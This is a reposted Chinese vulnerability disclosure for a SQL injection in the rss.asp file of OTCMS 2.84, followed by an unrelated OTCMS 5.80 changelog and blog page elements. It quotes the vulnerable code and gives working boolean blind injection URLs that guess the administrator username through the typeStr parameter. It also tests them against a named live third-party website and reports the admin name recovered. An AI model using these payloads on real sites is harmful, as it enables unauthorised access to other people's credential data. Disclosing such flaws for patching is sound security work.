网钛php 漏洞,网钛文章管理系统(OTCMS)2.84 SQL注射漏洞

漏洞作者: 语邑尘

网钛文章管理系统(OTCMS)2.84 的 rss.asp 存在注入漏洞。可获取管理员及密码。因密码经过两次CMD5加密,危害较小。

问题代码:

[php]

typeStr = Trim(request.querystring("typeStr"))

maxNum = Trim(request.querystring("maxNum"))

typeWhereStr = ""

typeTitle = ""

If typeStr="announ" Then

typeTitle = SYS_homeAnnounName & SYS_titleSign

typeWhereStr = " and IF_type1ID=-1"

ElseIf InStr(typeStr,",")>0 Then

typeArr = Split(typeStr,",")

typeUbound=UBound(typeArr)

If typeUbound>=2 Then

typeRank = 1

typeRankID = typeArr(1)

If typeUbound>=3 Then

typeRank = 2

typeRankID = typeArr(2)

If typeUbound>=4 Then

typeRank = 3

typeRankID = typeArr(3)

End If

End If

Set typeexe=conobj.execute("select IT_theme from OT_infoType where IT_ID="& typeRankID)

If Not typeexe.EOF Then

typeTitle = typeexe("IT_theme") & SYS_titleSign

typeWhereStr = " and IF_type"& typeRank &"ID="& typeRankID

End If

typeexe.close

Set typeexe=Nothing

[/php]

此文件没有包含通过防注入系统,变量typeStr 获取后经过逗号分割后进入数据库查询,所以只要构造一个特殊的语句让逗号分割后形成注入语句即可。

特殊语句示例:

[php]

rss.asp?typeStr=1234,11 and (select count(*) from OT_member where MB_ID=1 and MB_username like 'w____')>0,888

[/php]

语句经过分割后

[php]

11 and (select count(*) from OT_member where MB_ID=1 and MB_username like 'w____')>0

[/php]

会被代入数据库查询。注入漏洞形成。 因此变量是用逗号分割的,所以注入语句不能有逗号, 要用like 如猜到是5位 则猜a____,b____ 直到返回正确的结果。 另外11这个数值并不是固定的,我的方法是从11试到50,哪个返回的字节数最少就用哪个猜,容易判断。

漏洞证明:

关键字 dynWeb.asp?dataID=

网站1:http://www.hx-x.com/ 手工注入累死人,我只给出正确的结果,乌云可以自己去验证。管理员用户名为:wwwhxx 密码就不猜了 ,猜了也没用。

注入语句:

[php]

http://www.hx-x.com/rss.asp?typeStr=1234,11 and (select count(*) from OT_member where MB_ID=1 and MB_username like 'wwwhxx')>0,888

[/php]

5a77a87f54b4894dd59ef7caed59f6e5.png

如果将 wwwhxx 换成别的字符 如

[php]

http://www.hx-x.com/rss.asp?typeStr=1234,11 and (select count(*) from OT_member where MB_ID=1 and MB_username like 'abcdefg')>0,888

[/php]

38ecc32a3f01d9ec44044467f250b668.png

这两次返回的结果是不一样的。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CMS(OTCMS)PHP版以简单、实用、傻瓜式操作而闻名,无论在功能,人性化,还是易用性方面,都有了长足的发展,CMS的主要目标用户锁定在中小型站站长,让那些对络不是很熟悉,对站建设不是很懂又想做站的人能很快搭建起一个功能实用又强大,操作人性又易用。CMS(OTCMS) PHP版 5.80 更新日志:2021-01-3101.[新增]增加对站内信息 插件的支持;02.[新增]管理员专区→后台参数配置新增提示待处理信息频率/范围(会员投稿未审核文章、举报未阅读记录、站内信息未阅读、积分商城有新订单 后台会标题提示和提示音响起);03.[新增]后台界面页头增加定时提示待处理信息 显示区,可附带是否开启提示音;04.[新增]重置大小写表脚本加入到后台,管理员专区→程序文件检查-[获取数据库结构];05.[改变]前台注册用户名汉字改为占2字节,最多可以填8个汉字;06.[插件]会员管理→会员参数设置,会员登录/注册 新增 邀请人信息项,开启,会员注册时如果有通过邀请链接进来会显示邀请人的用户名(需要 邀请分销 插件支持);07.[插件]后台新增/修改会员,增加推荐人编辑框;08.[插件]邀请好友 插件,升级为邀请注册&分销 插件,最多支持二级分销,会员中心,邀请好友,菜单,增加团队1级和2级人数和名单列表;09.[插件]前台会员中心-邀请好友,邀请链接,增加二维码模式和带有二维码的海报模式(海报图片要自己设计上替换系统默认图片即可);10.[插件]常规设置→插件参数设置,会员类,新增邀请分销抽成和邀请抽成范围(用户注册、在线充值);11.[插件]后台会员管理→文章浏览记录,增加删除几天前所有记录功能(需要文章浏览记录,插件支持);12.[插件]后台会员管理→文章收藏记录,增加删除几天前所有记录功能(需要文章收藏记录,插件支持);13.[插件]后台会员管理→文章下载记录,增加删除几天前所有记录功能(需要文章下载记录,插件支持);14.[插件]后台常规设置→举报管理,增加状态信息(已阅/未阅),以及全部设为已阅按钮(需要举报模块,插件支持);15.[插件]后台采集管理→采集项目管理,纯静态路径前提下,底部会有生成静态页,按钮,打钩采集时会采集完一篇生成这篇内容静态页;16.修复几处细节BUG。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值